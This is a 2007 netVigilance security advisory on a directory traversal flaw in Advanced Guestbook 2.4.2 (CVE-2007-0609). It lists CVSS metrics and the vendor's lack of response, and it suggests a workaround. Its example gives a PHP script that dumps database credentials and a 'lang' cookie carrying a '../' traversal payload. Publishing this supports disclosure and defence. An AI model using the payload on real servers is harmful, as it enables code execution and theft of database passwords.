<<< Date Index >>>     <<< Thread Index >>>

Advanced Guestbook version 2.4.2 Directory Traversal Vulnerability



        netVigilance Security Advisory #13

Advanced Guestbook version 2.4.2 Directory Traversal Vulnerability 

Description:
Advanced Guestbook is a PHP-based guestbook script. It includes many useful 
features such as preview, templates, e-mail notification, picture upload, page 
spanning , html tags handling, smiles, advanced guestbook codes and language 
support. The admin script lets you modify, view, and delete messages. Requires 
PHP4 and MySQL.
External References: 
Mitre CVE: CVE-2007-0609
NVD NIST: CVE-2007-0609
OSVDB:  33878
Summary: 
Advanced Guestbook is a PHP-based guestbook with admin interface.
Security problems in the product allow attackers to conduct directory traversal 
attacks. 
This vulnerabilities can be exploited only when attacker has registered on the 
same server.
 
Advisory URL: 
http://www.netvigilance.com/advisory0013
Release Date:
05/07/2007
 
Severity:
Risk: High
 
CVSS Metrics
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: Complete
Integrity Impact: Complete
Availability Impact: Complete
Impact Bias: Normal
CVSS Base Score: 8
 
Target Distribution on Internet: Low
 
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated 
 
Vulnerability Impact: Attack
Host Impact: Directory Traversal


SecureScout Testcase ID:
 

Vulnerable Systems:
Advanced Guestbook 2.4.2

Vulnerability Type:
An attacker via the .. (dot dot) sequence can execute his own php-script on the 
target server.
Vendor Status: 
Contact with the Vendor was established but draft of the security advisory 
wasn't provided because the Vendor stopped responding to our emails on 9 March 
2007. There is no official fix at the release of this Security Advisory
Workaround:
Set Advanced Guestbook default static language. 

Example: 
1. Create php-script like:  <?php global $GB_DB; print_r($GB_DB); ?>
2. Set in COOKIES variable lang = "[ via the .. (dot dot) Sequence set the 
script name on the same server]" for example "../../../hack_www/htdocs/hack"
REQUEST:
http://[TARGET]/[guestbook-directory]/index.php
REPLY:
Array
(
    [dbName] => [CURRENT DB NAME]
    [host] => [CURRENT DB HOST]
    [user] => [DB USER NAME]
    [pass] => [DB USER PASSWORD]
)
Credits: 
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com